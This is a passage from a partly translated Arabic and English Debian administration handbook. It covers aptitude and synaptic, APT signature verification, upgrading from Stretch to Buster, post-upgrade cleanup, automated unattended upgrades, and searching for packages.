Suggestions between packages are also taken into account, but in a manner adapted to their specific status. For example, since gnome suggests empathy, the latter will be displayed on the summary screen of pending actions (in the section of packages suggested by other packages). This way, it is visible and the administrator can decide whether to take the suggestion into account or not. Since it is only a suggestion and not a dependency or a recommendation, the package will not be selected automatically — its selection requires a manual intervention from the user (thus, the package will not be marked as automatic).

في السياق ذاته، تذكر أن aptitude تستخدم مفهوم المهام بذكاء. بما أن المهام تُعرَض بشكل تصنيفات في شاشات لوائح الحزم، فيمكنك أن تختار مهمة كاملة للتثبيت أو للإزالة، أو أن تتصفح مجموعة الحزم المضمنة في المهمة حتى تختار منها مجموعة جزئية أصغر.

6.5.1.2. خوارزميات حل أفضل

حتى نختتم هذا القسم، دعنا نذكر أن aptitude تستخدم خوارزميات أفضل مقارنة بخوارزميات apt-get عند مواجهة المواقف الصعبة. عند طلب مجموعة إجراءات تؤدي مجتمعة إلى نظام غير متماسك، تقيّم aptitude عدة سيناريوهات محتملة وتعرضها بترتيب تنازلي بدءاً من أنسبها. ومع ذلك، فإن هذه الخوارزميات ليست منيعة ضد الإخفاق. لحسن الحظ، هناك دائماً إمكانية لاختيار الإجراءات يدوياً لتنفيذها. إذا أدّت الإجراءات المختارة إلى تضارب، سوف يشير الجزء العلوي من الشاشة إلى عدد الحزم ”المعطوبة“ (ويمكنك الانتقال إلى هذه الحزم مباشرة بالضغط على b). من الممكن عندئذ بناء حل للمشكلة يدوياً. بالأخص، يمكنك الوصول إلى الإصدارات المختلفة المتوفرة ببساطة من خلال اختيار الحزمة بالمفتاح Enter. إذا كان اختيار أحد هذه الإصدارات يحل المشكلة، عليك ألا تتردد باختياره. عند وصول عدد الحزم المعطوبة إلى الصفر، يمكنك العودة بأمان إلى شاشة تلخيص الأعمال المعلقة للتحقق منها مرة أخيرة قبل تطبيقها.

ملاحظة سجل aptitude

مثل حال dpkg، تحتفظ aptitude بأثر الإجراءات المنفذة في سجلها (/var/log/aptitude). ومع ذلك، لا يمكنك العثور على المعلومات نفسها في سجلاتهما، لأن كلّاً منهما يعمل على مستوى مختلف. ففي حين أن dpkg يُسجِّل جميع العمليات المنفّذة على الحزم المفردة خطوة بخطوة، تعطي aptitude رؤية أوسع للعمليات عالية المستوى مثل تحديث النظام بالكامل.

كن حذراً، يحتوي هذا السجل على ملخص العمليات التي أجرتها aptitude فقط. أما إذا استُخدِمَت واجهات أخرى (أو حتى dpkg نفسه) بين الحين والآخر، فإن سجل aptitude سيحتوي على صورة جزئية فقط للعمليات، لذلك لا يمكنك الاعتماد عليه لبناء تاريخ موثوق للنظام.

6.5.2. ‏synaptic

synaptic هو مدير حزم رسومي لدبيان، يقدّم واجهة رسومية نظيفة وفعالة مبنية على أساس GTK+/GNOME. تمنح فلاتره العديدة الجاهزة للاستخدام وصولاً سريعاً للحزم المتوفرة حديثاً، أو الحزم المثبتة، أو الحزم القابلة للتحديث، والحزم الميتة وغيرها. إذا تجولت بين هذه القوائم، يمكنك اختيار العمليات التي تريد تنفيذها على الحزم (تثبيت، تحديث، إزالة، تطهير)؛ لا تُنَفَّذ هذه العمليات مباشرة، بل توضع في لائحة مهام. وبعدها تؤكد هذه العمليات بنقرة واحدة على الزر، وتُنفَّذ دفعة واحدة.

شكل 6.2. مدير الحزم synaptic

6.6. التحقق من سلامة الحزم

الأمن هام جداً بالنسبة لمدراء النظم في شركة فلكوت. لذا، فهم يحتاجون للتأكد من تثبيت الحزم التي يوثق بأنها جاءت من دبيان وأنها لم تُعدّل على الطريق. يمكن أن يحاول المخرب إضافة شفرة خبيثة إلى حزمة شرعية. إذا تم تثبيت حزمة كهذه، فقد تنفذ أي شيء صممها المخرب لتنفيذه، بما في ذلك مثلا كشف كلمات السر أو معلومات سريّة. لتفادي هذا الخطر، تقدّم دبيان ختماً مقاوماً للعبث يضمن — ساعة تثبيت الحزمة — ورود الحزمة من مشرفها الرسمي وأن أية أطراف ثالثة لم تُعدِّلها.

The seal works with a chain of cryptographical hashes and a signature and is explained in detail in apt-secure(8). Starting with Debian 10 Buster the signed file is the InRelease file, provided by the Debian mirrors. There is also a legacy file called Release. Both contain a list of the Packages files (including their compressed forms, Packages.gz and Packages.xz, and the incremental versions), along with their SHA256 hashes, which ensures that the files haven't been tampered with. These Packages files contain a list of the Debian packages available on the mirror, along with their hashes, which ensures in turn that the contents of the packages themselves haven't been altered either. The difference between InRelease and Release is that the former is cryptographically signed in-line, whereas the latter provides a detached signature in the form of the file Release.gpg.

NOTE The future of Release and Release.gpg

Probably with the release of Debian 11 Bullseye APT will remove support for the legacy files Release and Release.gpg, used since APT 0.6, which introduced support for an archive authentication.

APT needs a set of trusted GnuPG public keys to verify signatures in the InRelease and Release.gpg files available on the mirrors. It gets them from files in /etc/apt/trusted.gpg.d/ and from the /etc/apt/trusted.gpg keyring (managed by the apt-key command). The official Debian keys are provided and kept up-to-date by the debian-archive-keyring package which puts them in /etc/apt/trusted.gpg.d/. Note, however, that the first installation of this particular package requires caution: even if the package is signed like any other, the signature cannot be verified externally. Cautious administrators should therefore check the fingerprints of imported keys before trusting them to install new packages:

# apt-key fingerprint /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg ---------------------------------------------------------- pub rsa4096 2019-04-14 [SC] [expires: 2027-04-12] 80D1 5823 B7FD 1561 F9F7 BCDD DC30 D7C2 3CBB ABEE uid [ unknown] Debian Archive Automatic Signing Key (10/buster) <ftpmaster@debian.org> sub rsa4096 2019-04-14 [S] [expires: 2027-04-12] /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg ------------------------------------------------------------------- pub rsa4096 2019-04-14 [SC] [expires: 2027-04-12] 5E61 B217 265D A980 7A23 C5FF 4DFA B270 CAA9 6DFA uid [ unknown] Debian Security Archive Automatic Signing Key (10/buster) <ftpmaster@debian.org> sub rsa4096 2019-04-14 [S] [expires: 2027-04-12] /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg ------------------------------------------------------- pub rsa4096 2019-02-05 [SC] [expires: 2027-02-03] 6D33 866E DD8F FA41 C014 3AED DCC9 EFBF 77E1 1517 uid [ unknown] Debian Stable Release Key (10/buster) <debian-release@lists.debian.org> /etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg ---------------------------------------------------------- pub rsa4096 2014-11-21 [SC] [expires: 2022-11-19] 126C 0D24 BD8A 2942 CC7D F8AC 7638 D044 2B90 D010 uid [ unknown] Debian Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org> /etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg ------------------------------------------------------------------- pub rsa4096 2014-11-21 [SC] [expires: 2022-11-19] D211 6914 1CEC D440 F2EB 8DDA 9D6D 8F6B C857 C906 uid [ unknown] Debian Security Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org> /etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg ------------------------------------------------------- pub rsa4096 2013-08-17 [SC] [expires: 2021-08-15] 75DD C3C4 A499 F1A1 8CB5 F3C8 CBF8 D6FD 518E 17E1 uid [ unknown] Jessie Stable Release Key <debian-release@lists.debian.org> /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg ----------------------------------------------------------- pub rsa4096 2017-05-22 [SC] [expires: 2025-05-20] E1CF 20DD FFE4 B89E 8026 58F1 E0B1 1894 F66A EC98 uid [ unknown] Debian Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org> sub rsa4096 2017-05-22 [S] [expires: 2025-05-20] /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg -------------------------------------------------------------------- pub rsa4096 2017-05-22 [SC] [expires: 2025-05-20] 6ED6 F5CB 5FA6 FB2F 460A E88E EDA0 D238 8AE2 2BA9 uid [ unknown] Debian Security Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org> sub rsa4096 2017-05-22 [S] [expires: 2025-05-20] /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg -------------------------------------------------------- pub rsa4096 2017-05-20 [SC] [expires: 2025-05-18] 067E 3C45 6BAE 240A CEE8 8F6F EF0F 382A 1A7B 6500 uid [ unknown] Debian Stable Release Key (9/stretch) <debian-release@lists.debian.org>

ممارسة عملية إضافة مفاتيح موثوقة

عند إضافة مصدر حزم لأطراف ثالثة إلى الملف sources.list، يجب أن تطلب من APT أن تثق بمفتاح GPG الخاص بها (وإلا ستظل تتذمر من أنها لا تضمن لك سلامة الحزم القادمة من ذلك المستودع). الخطوة الأولى طبعاً هي الحصول على المفتاح العام. في معظم الأوقات، سيعطى المفتاح بشكل ملف نصي صغير، سندعوه key.asc في الأمثلة التالية.

To add the key to the trusted keyring, the administrator can just put it in a *.asc file in /etc/apt/trusted.gpg.d/. This is supported since Debian Stretch. With older releases, you had to run apt-key add < key.asc.

بمجرد وضع المفاتيح المناسبة في الحلقة، ستتحقق APT من التواقيع قبل أي عملية فيها مخاطرة، بحيث تعرض الواجهات النهائية تحذيراً إذا طُلِبَ منها تثبيت حزمة لا يمكن تأكيد سلامتها.

6.7. الانتقال من توزيعة مستقرة إلى التالية

إحدى أكثر مزايا دبيان شهرة هي قدرتها على تحديث النظام المُنَصَّب من إصدارة مستقرة إلى تاليتها: أضافت dist-upgrade –عبارة شهيرة جداً– إلى سمعة المشروع كثيراً. مع الإجراءات الوقائية، يمكن لتحديث الحاسوب أن يستغرق عدة دقائق، أو عدة عشرات من الدقائق، حسب سرعة التنزيل من مستودعات الحزم.

6.7.1. إجراءات مستحسنة

بما أن دبيان تستغرق زمناً طويلاً في مرحلة التطور بين الإصدارات المستقرة، عليك قراءة ملاحظات الإصدار قبل التحديث.

أساسيات ملاحظات الإصدار

ملاحظات إصدار نظام التشغيل (وبشكل أعم، ملاحظات إصدار أي برنامج) هي وثائق تعطي لمحة عامة عن البرمجية، مع بعض التفاصيل المتعلقة بخصوصيات ذلك الإصدار. هذه الوثائق قصيرة عموماً مقارنة بالتوثيق الكامل، وهي تحوي المزايا التي قُدِّمت منذ الإصدار السابق عادة. كما تحوي تفاصيل عن إجراءات التحديث، وتحذيرات لمستخدمي الإصدار السابق، وأحياناً العلل المعروفة في الإصدار الجديد.

Release notes are available online: the release notes for the current stable release have a dedicated URL, while older release notes can be found with their codenames:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/stretch/releasenotes

In this section, we will focus on upgrading a Stretch system to Buster. This is a major operation on a system; as such, it is never 100% risk-free, and should not be attempted before all important data has been backed up.

من العادات الحسنة الأخرى التي تسهّل عملية التحديث (وتقصّرها أيضاً) هي ترتيب الحزم المُثبَّتَة وإبقاء الحزم التي تحتاجها فعلاً فقط. من الأدوات المفيدة التي تنفذ ذلك هي aptitude، و deborphan وdebfoster (انظر قسم 6.2.7, “متابعة الحزم المثبتة آلياً”). مثلا، يمكنك استخدام الأمر التالي، ثم استخدم الوضع التفاعلي في aptitude للتأكد ثانية وضبط عمليات الإزالة الآلية:

# deborphan | xargs aptitude --schedule-only remove

TIP Finding changed files

The debsums command can check if files on the local system, which are part of an installed package, have been altered. It uses a simple hashsum algorithm and the information in /var/lib/dpkg/info/package.md5sums (see قسم 5.2.3, “شفرات التحقق، لائحة ملفات الضبط”). To find all altered configuration files use debsums -ec. To check the whole system, use debsums -c.

Now for the upgrading itself. First, you need to change the /etc/apt/sources.list file to tell APT to get its packages from Buster instead of Stretch. If the file only contains references to Stable rather than explicit codenames, the change isn't even required, since Stable always refers to the latest released version of Debian. In both cases, the database of available packages must be refreshed (with the apt update command or the refresh button in synaptic).

NOTE Repository information changes

When a new stable version of Debian is released, some fields in the Release and InRelease files of a repository change, like the Suite field. When this happens, downloading data from the repository is declined until the change is confirmed to ensure the user is prepared for it. To confirm the change use the --allow-releaseinfo-change or --allow-releaseinfo-change-field options for apt-get or the Acquire::AllowReleaseInfoChange configuration option.

بمجرد تسجيل مصادر الحزم الجديدة هذه، عليك أولاً تنفيذ تحديث أصغري باستخدام apt upgrade. عند تنفيذ التحديث على دفعتين، نُسهِّل عمل أدوات إدارة الحزم ونضمن غالباً أننا نستخدم أحدث الإصدارات من هذه الأدوات، التي قد تقدم إصلاحات للعلل وتحسينات ضرورية لإتمام التحديث الكامل للتوزيعة.

Once this first upgrade is done, it is time to handle the upgrade itself, either with apt full-upgrade, aptitude, or synaptic. You should carefully check the suggested actions before applying them: you might want to add suggested packages or deselect packages which are only recommended and known not to be useful. In any case, the front-end should come up with a scenario ending in a coherent and up-to-date Buster system. Then, all you need is to do is wait while the required packages are downloaded, answer the debconf questions and possibly those about locally modified configuration files, and sit back while APT does its magic.

6.7.2. حل المشاكل بعد التحديث

بالرغم من أن مشرفي حزم دبيان يبذلون أفضل ما لديهم، إلا أن تحديث النظام بالكامل لا يجري بالسلاسة التي تتمناها دائماً. قد لا تتوافق إصدارات البرمجيات الجديدة مع القديمة (مثلا، قد يتغير سلوكها الافتراضي أو الصيغة التي تحفظ فيها البيانات). أيضاً، قد تتسلل بعض العلل من هنا وهناك بالرغم من طور الاختبار الذي يسبق إطلاق دبيان دائماً.

لاستباق بعض هذه المشاكل، يمكنك تثبيت الحزمة apt-listchanges، التي تعرض معلومات عن المشاكل المحتملة في بداية تحديث كل حزمة. يجمع مشرفو الحزم هذه المعلومات ويقدمونها للمستخدمين في ملفات /usr/share/doc/package/NEWS.Debian. يجب أن تساعدك قراءة هذه الملفات (ربما من خلال apt-listchanges) على تفادي المفاجآت السيئة.

You might sometimes find that the new version of a software doesn't work at all. This generally happens if the application isn't particularly popular and hasn't been tested enough; a last-minute update can also introduce regressions which are only found after the stable release. In both cases, the first thing to do is to have a look at the bug tracking system at https://bugs.debian.org/package, and check whether the problem has already been reported. If this is case, it will be also listed before the upgrade begins, if you have apt-listbugs installed. If it hasn't, you should report it yourself with reportbug. If it is already known, the bug report and the associated messages are usually an excellent source of information related to the bug:

أحياناً تكون الرقعة موجودة، ومتوفرة في تقرير العلة؛ يمكنك عندها إعادة ترجمة نسخة مصححة من الحزمة المعطوبة محلياً (انظر قسم 15.1, “إعادة بناء حزمة من المصدر”)؛

في الحالات الأخرى، قد يعثر المستخدمون على طريقة للالتفاف حول المشكلة ويشاركون خبرتهم بها في ردودهم على التقرير؛

بل ثمة حالات يُحضِّر فيها المشرف حزمة مصححة وينشرها للعموم.

Depending on the severity of the bug, a new version of the package may be prepared specifically for a new revision of the stable release. When this happens, the fixed package is made available in the proposed-updates section of the Debian mirrors (see قسم 6.1.2.3, “التحديثات المقترحة”). The corresponding entry can then be temporarily added to the sources.list file, and updated packages can be installed with apt or aptitude.

Sometimes the fixed package isn't available in this section yet because it is pending a validation by the Stable Release Managers. You can verify if that is the case on their web page. Packages listed there aren't available yet, but at least you know that the publication process is ongoing.

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. Cleaning Up after an Upgrade

APT usually ensures a clean upgrade, pulling in new and updated dependencies, or removing conflicting packages. But even being such a great tool, it cannot cover all tasks users and administrators will face after an upgrade, because they require a human decision.

6.7.3.1. Packages removed from the Debian Archive

Sometimes the Debian FTP Masters remove packages from the Debian archive, because they contain release critical bugs, were abandoned by their upstream author or their package maintainer, or simply reached their end of life. In this case a newer Debian release does not ship the package anymore. To find all packages, which do not have a package source, use the apt-show-versions command:

$ apt-show-versions | grep "No available version"

A similar result can be achieved by aptitude search ~o. If the packages found are not required anymore, they should be purged from the system, because they will not face any updates for critical or security related bugs anymore.

6.7.3.2. Dummy and Transitional Packages

Sometimes, it might be necessary for a package to get a new name. In this case often the old package is kept as an (almost) empty package, depending on the new one and installing only the mandatory files in /usr/share/doc/package/. Such packages are called "dummy" or "transitional" packages. If the package maintainer in charge also changed the section of this package to oldlibs, then tools like aptitude, deboprhan, or debfoster (see sidebar بدائل deborphan وdebfoster) can pickup these packages to suggest their removal.

Unfortunately there is currently no foolproof way of making sure that these packages are automatically removed or picked by the tools mentioned above. One way to check if the system still has some of these packages installed, is to look through the package descriptions of installed packages and then check the results. Be careful not to schedule the results for automatic removal, because this method can lead to false positives:

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Because the new package is pulled in as a dependency of the transitional package, it is usually marked as automatically installed and might be scheduled for removal if you try to purge the transitional package from your system. In this case you can use either of the approaches described in sidebar تلميح الإزالة والتثبيت في الوقت نفسه and قسم 6.2.7, “متابعة الحزم المثبتة آلياً” to selectively remove the transitional package.

6.7.3.3. Old or Unused Configuration Files

If the upgrade was successful there might be some configuration file cruft, either from dpkg (see قسم 5.2.3, “شفرات التحقق، لائحة ملفات الضبط”), ucf or from removed packages. The latter can be purged by using apt autoremove --purge. The configuration files that were handled by dpkg or ucf during the upgrade process have left some counterparts with a dedicated suffix (e.g. .dpkg-dist, .dpkg-old, .ucf-old). Using the find or locate command can help to track them down. If they are no longer of any use, they can be deleted.

6.7.3.4. Files not owned by any Package

The Debian policy enforces that packages don't leave files behind when they are purged. Violating this principle is a serious bug and you will rarely encounter it. If you do, report it; and if you are curious though, you can use the cruft or cruft-ng package to check your system for files not owned by any package.

6.8. إبقاء النظام محدّثاً

The Debian distribution is dynamic and changes continually. Most of the changes are in the Testing and Unstable versions, but even Stable is updated from time to time, mostly for security-related fixes. Whatever version of Debian a system runs, it is generally a good idea to keep it up to date, so that you can get the benefit of recent evolution and bug fixes.

في حين أنه يمكن تشغيل أداة للتحقق من التحديثات المتوفرة وتثبيتها دورياً، إلا أن هذه المهمة المتكررة مملة، خصوصاً عندما تحتاج لتنفيذها على عدة أجهزة. لحسن الحظ، يمكن أتمتة هذه العملية جزئياً، مثل العديد من المهام المتكررة الأخرى، وقد طُوِّرَتْ مجموعة من الأدوات مسبقاً لهذا الغرض.

أولى هذه الأدوات هي apticron، في الحزمة ذات الاسم نفسه. مهمتها الأساسية تشغيل سكربت يومياً (من خلال cron). يحدّث السكربت قائمة الحزم المتوفرة، وفي حال وجود إصدارات أحدث لبعض الحزم المثبتة، سيرسل قائمة بهذه الحزم في بريد إلكتروني مرفقة بالتغيُّرات التي طرأت على الإصدارات الحديثة. من الوضح أن هذه الحزمة تستهدف مستخدمي دبيان المستقرة، لأن الرسائل اليومية ستكون طويلة جداً بالنسبة لنسخ دبيان الأخرى الأكثر تقلباً. عند وجود تحديثات، تنزلها apticron آلياً. لكن لا تثبتها (يبقى مدير النظام مسؤولاً عن تثبيتها) لكن بما أن الحزم قد نزلت مسبقاً و أصبحت متوفرة محلياً (في مخبأ APT) فستكون العملية أسرع.

Administrators in charge of several computers will no doubt appreciate being informed of pending upgrades, but the upgrades themselves are still as tedious as they used to be. Periodic upgrades can be enabled: it uses a systemd timer unit or cron. If systemd is not installed, the /etc/cron.daily/apt-compat script (in the apt package) comes in handy. This script is run daily (and non-interactively) by cron. To control the behavior, use APT configuration variables (which are therefore stored in a file /etc/apt/apt.conf.d/10periodic). The main variables are:

APT::Periodic::Update-Package-Lists

يسمح لك هذا الخيار بتحديد تواتر تحديث لوائح الحزم (بالأيام). يستطيع مستخدمو apticron تحديد هذا دون استخدام هذا المتغير، لأن apticron يقوم بهذه المهمة أصلاً.

APT::Periodic::Download-Upgradeable-Packages

هذا الخيار يحدد عدد مرات التكرار أيضًا (بالأيام)، لكنه يتحكم بتنزيل الحزم الفعلية. لا يحتاج مستخدمو apticron لهذا الخيار أيضًا.

APT::Periodic::AutocleanInterval

يغطي هذا الخيار ميزة لا تملكها apticron. فهو يتحكم بمدى تكرار إزالة الحزم المَيْتَة (التي لم تعد أي توزيعة تشير إليها) من مخبأ APT. تبقي هذه العملية حجم مخبأ APT معقولاً وهذا يعني أن لا داع للقلق بخصوص هذه المهمة بعد الآن.

APT::Periodic::Unattended-Upgrade

When this option is enabled, the daily script will execute unattended-upgrade (from the unattended-upgrades package) which — as its name suggest — can automatize the upgrade process for some packages (by default it only takes care of security updates, but this can be customized in /etc/apt/apt.conf.d/50unattended-upgrades). Note that this option can be set with the help of debconf by running dpkg-reconfigure -plow unattended-upgrades. If apt-listbugs is installed, it will prevent an automatic upgrade of packages which are affected by an already reported serious or grave bug.

Other options can allow you to control the cache cleaning behavior with more precision. They are not listed here, but they are described in the /usr/lib/apt/apt.systemd.daily script.

These tools work very well for servers, but desktop users generally prefer a more interactive system. The package gnome-software provides an icon in the notification area of desktop environments when updates are available; clicking on this icon then runs an interface to perform updates. You can browse through available updates, read the short description of the relevant packages and the corresponding changelog entries, and select whether to apply the update or not on a case-by-case basis.

شكل 6.3. التحديث باستخدام gpk-update-viewer

This tool is no longer installed in the default GNOME desktop. The new philosophy is that security updates should be automatically installed, either in the background or, preferably, when you shutdown your computer so as to not confuse any running application.

6.9. التحديثات الآلية

بما أن شركة فلكوت تملك الكثير من الحواسيب لكن مواردها البشرية محدودة، فإن مدراء النظم فيها يحاولون أتمتة التحديثات قدر الإمكان. بالتالي، يجب أن تعمل البرامج المسؤولة عن هذه العمليات دون تدخل البشر.

6.9.1. إعداد dpkg

As we have already mentioned (see sidebar التعمق أكثر تفادي أسئلة المتعلقة بملفات الضبط), dpkg can be instructed not to ask for confirmation when replacing a configuration file (with the --force-confdef --force-confold options). Interactions can, however, have three other sources: some come from APT itself, some are handled by debconf, and some happen on the command line due to package configuration scripts (sometimes handled by ucf).

6.9.2. إعداد APT

حالة APT بسيطة: يطلب الخيار -y (أو --assume-yes) من APT أن تعتبر الإجابة عن جميع أسئلتها هي ”نعم“.

6.9.3. إعداد debconf

تستحق حالة debconf تفصيلاً أكثر. لقد صُمِّم هذا البرنامج، منذ البداية، للتحكم بكمية ومستوى الأسئلة الموجهة للمستخدم، بالإضافة إلى طريقة عرضها. لهذا فإن إعداده يتطلب تحديد أولوية دنيا للأسئلة؛ وتعرض الأسئلة التي تتجاوز هذه الأولوية الدنيا فقط. يستخدم debconf الإجابة الافتراضية (التي حددها مشرف الحزمة) للأسئلة التي يراد تخطيها.

إن عنصر الضبط الآخر المرتبط بهذا الموضوع هو النمط الذي تستخدمه الواجهة. إذا اخترت noninteractive من بين الخيارات، سيُعطِّل التفاعل مع المستخدم بالكامل. إذا حاولت الحزمة عرض ملاحظة إعلامية، فسوف تُرسِل إلى مدير النظام بالبريد الإلكتروني.

لإعادة ضبط debconf، استخدم أداة dpkg-reconfigure من الحزمة debconf؛ الأمر المطلوب هو dpkg-reconfigure debconf. لاحظ أن القيم المضبوطة يمكن تجاوزها مؤقتاً باستخدام متغيرات البيئة عند الحاجة (مثلاً، يتحكم DEBIAN_FRONTEND بالواجهة، كما هو موثق في صفحة الدليل debconf(7)‎).

6.9.4. معالجة تفاعلات سطر الأوامر

آخر مصدر لطلب التفاعل، وأصعب مصدر للتخلص منه، هو سكربتات الإعداد التي يُشغّلها dpkg. لا يوجد أي حل قياسي للأسف، ولا توجد إجابة أفضل من غيرها.

الطريقة الشائعة هي إغلاق مجرى الدخل القياسي بإعادة توجيهه إلى المحتوى الفارغ للملف /dev/null باستخدام command </dev/null، أو تغذيته بعدد لانهائي من محارف newline. كلا الطريقتين غير مضمونة 100%، لكنها تؤدي عموماً إلى استخدام الإجابات الافتراضية، نظراً لأن معظم السكربتات تعتبر الصمت قبولاً بالقيمة الافتراضية.

6.9.5. الخلطة المعجزة

إذا جمعنا العناصر السابقة، يمكننا تصميم سكربت صغير لكنه موثوق يتولى التحديثات آلياً.

مثال 6.5. سكربت التحديث اللاتفاعلي

export DEBIAN_FRONTEND=noninteractive yes '' | apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" dist-upgrade

ممارسة عملية حالة شركة فلكوت

الحواسيب في شركة فلكوت متباينة، ولها وظائف متنوعة. لذلك سيختار مديرو النظم الحل الأنسب لكل جهاز.

In practice, the servers running Buster are configured with the “miracle combination” above, and are kept up to date automatically. Only the most critical servers (the firewalls, for instances) are set up with apticron, so that upgrades always happen under the supervision of an administrator.

The office workstations in the administrative services also run Buster, but they are equipped with gnome-packagekit, so that users trigger the upgrades themselves. The rationale for this decision is that if upgrades happen without an explicit action, the behavior of the computer might change unexpectedly, which could cause confusion for the main users.

في المختبر، توجد عدة حواسيب تستخدم الاختبارية –للاستفادة من آخر إصدارات البرمجيات– ولا تُحدّث هذه الأجهزة تلقائياً هي الأخرى. ضبط مديرو النظم APT بحيث تجهز التحديثات لكن دون أن تجريها؛ وعندما يقررون تحديث النظام (يدوياً)، سيتجاوزون مرحلتي تحديث قوائم الحزم المتوفرة وتنزيل الحزم، وسيتمكنون من التركيز على الجزء المفيد فعلياً.

6.10. البحث عن الحزم

مع كمية البرمجيات الكبيرة في دبيان والتي تنمو باستمرار، تظهر مفارقة: لدى دبيان عادة أدوات لمعظم المهام، لكن العثور على تلك الأدوات من بين آلاف الحزم الأخرى قد يكون صعباً جداً. كان الافتقار للأساليب الملائمة للبحث عن الأداة الصحيحة (والعثور عليها) مشكلة منذ فترة طويلة. لقد حُلّت هذه المشكلة بالكامل تقريباً لحسن الحظ.

أبسط عملية بحث ممكنة هي البحث عن اسم حزمة كما هو. إذا أعاد الأمر apt show package نتيجة ما، فالحزمة موجودة. للأسف، هذا يتطلب معرفة اسم الحزمة أو ربما تخمينه، وهذا غير ممكن دائماً.

تلميح عادات تسمية الحزم

تسمى بعض أنواع الحزم وفقاً لأسلوب تسمية تقليدي؛ قد تسمح لك معرفة الأسلوب بتخمين اسم الحزمة الدقيق أحياناً. مثلاً، بالنسبة لوحدات بيرل، تنص التقاليد على أن الوحدة المسماة XML::Handler::Composer في منبعها يجب تحزيمها في libxml-handler-composer-perl. مكتبة بايثون التي تسمح باستخدام نظام gconf تحزم باسم python-gconf. لا يمكن للأسف تعريف أساليب تسمية عامة لكل الحزم، ولو أن مشرفي الحزم يحاولون عادة اتباع خيارات المطورين المنبعيين.

A slightly more successful searching pattern is a plain-text search in package names, but it remains very limited. You can generally find results by searching package descriptions: since each package has a more or less detailed description in addition to its package name, a keyword search in these descriptions will often be useful. apt-cache and axi-cache are the tools of choice for this kind of search (see بدائل axi-cache); for instance, apt-cache search video will return a list of all packages whose name or description contains the keyword “video”.

بالنسبة لعمليات البحث الأكثر تعقيداً، ستحتاج لأداة أقوى مثل aptitude. تسمح لك aptitude بالبحث وفقاً لتعبير منطقي مبني على أساس حقول البيانات الفوقية للحزمة. مثلاً، يبحث الأمر التالي عن الحزم التي يحتوي اسمها على kino، ووصفها يحوي كلمة video، واسم المشرف عليها paul:

$ aptitude search kino~dvideo~mpaul p kino - Non-linear editor for Digital Video data $ aptitude show kino Package: kino Version: 1.3.4+dfsg0-1 State: not installed Priority: optional Section: video Maintainer: Paul Brossier <piem@debian.org> Architecture: amd64 Uncompressed Size: 8,304 k Depends: libasound2 (>= 1.0.16), libatk1.0-0 (>= 1.12.4), libavc1394-0 (>= 0.5.3), libavcodec58 (>= 7:4.0) | libavcodec-extra58 (>= 7:4.0), libavformat58 (>= 7:4.0), libavutil56 (>= 7:4.0), libc6 (>= 2.14), libcairo2 (>= 1.2.4), libdv4 (>= 1.0.0), libfontconfig1 (>= 2.12.6), libfreetype6 (>= 2.2.1), libgcc1 (>= 1:3.0), libgdk-pixbuf2.0-0 (>= 2.22.0), libglade2-0 (>= 1:2.6.4-2~), libglib2.0-0 (>= 2.16.0), libgtk2.0-0 (>= 2.24.32), libice6 (>= 1:1.0.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0), libpangocairo-1.0-0 (>= 1.14.0), libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11, libsamplerate0 (>= 0.1.7), libsm6, libstdc++6 (>= 5.2), libswscale5 (>= 7:4.0), libx11-6, libxext6, libxml2 (>= 2.7.4), libxv1, zlib1g (>= 1:1.1.4) Recommends: ffmpeg, curl Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora Conflicts: kino-dvtitler, kino-timfx, kinoplus Replaces: kino-dvtitler, kino-timfx, kinoplus Provides: kino-dvtitler, kino-timfx, kinoplus Description: Non-linear editor for Digital Video data Kino allows you to record, create, edit, and play movies recorded with DV camcorders. This program uses many keyboard commands for fast navigating and editing inside the movie. The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as separate packages, are now provided with Kino. Homepage: http://www.kinodv.org/ Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++, interface::graphical, interface::x11, role::program, scope::application, suite::gnome, uitoolkit::gtk, use::editing, use::learning, works-with::video, x11::application

يعيد البحث حزمة واحدة فقط، وهي kino، التي تفي بجميع معايير البحث.

حتى عمليات البحث متعددة المعايير هذه غير عمليّة، ما يفسر عدم استخدام الناس لها كما ينبغي. بالتالي تم تطوير نظام وسم جديد، وهو يقدم أسلوباً جديداً للبحث. تعطى الحزم وسوماً تقدّم تصنيفاً بحسب الموضوع من عدة نواحي، يعرف باسم ”التصنيف الموشوري“ (facet-based classification). في حالة kino المبينة أعلاه، تشير وسوم الحزمة إلى أن Kino هو برنامج مبني على Gnome وهو يعالج الفيديو وغرضه الأساسي هو التحرير.

Browsing this classification can help you to search for a package which corresponds to known needs; even if it returns a (moderate) number of hits, the rest of the search can be done manually. To do that, you can use the ~G search pattern in aptitude, but it is probably easier to simply navigate the site where tags are managed:

→ https://debtags.debian.org/

إن اختيار الوسمين works-with::video وuse::editing يعطي حفنة حزم، منها محرري الفيديو kino وpitivi. إن نظام التصنيف هذا في طريقه نحو الانتشار أكثر وأكثر مع مرور الوقت، وستقدم برامج إدارة الحزم واجهات بحث فعالة مبنية على أساسه.

لتلخيص الموضوع، يعتمد اختيار أفضل أداة على مدى تعقيد البحث الذي ترغب بتنفيذه:

تسمح لك apt-cache بالبحث في أسماء الحزم وأوصافها فقط، وهي مناسبة جداً عند البحث عن حزمة معينة توافق بضعة كلمات مفتاحية مستهدفة؛

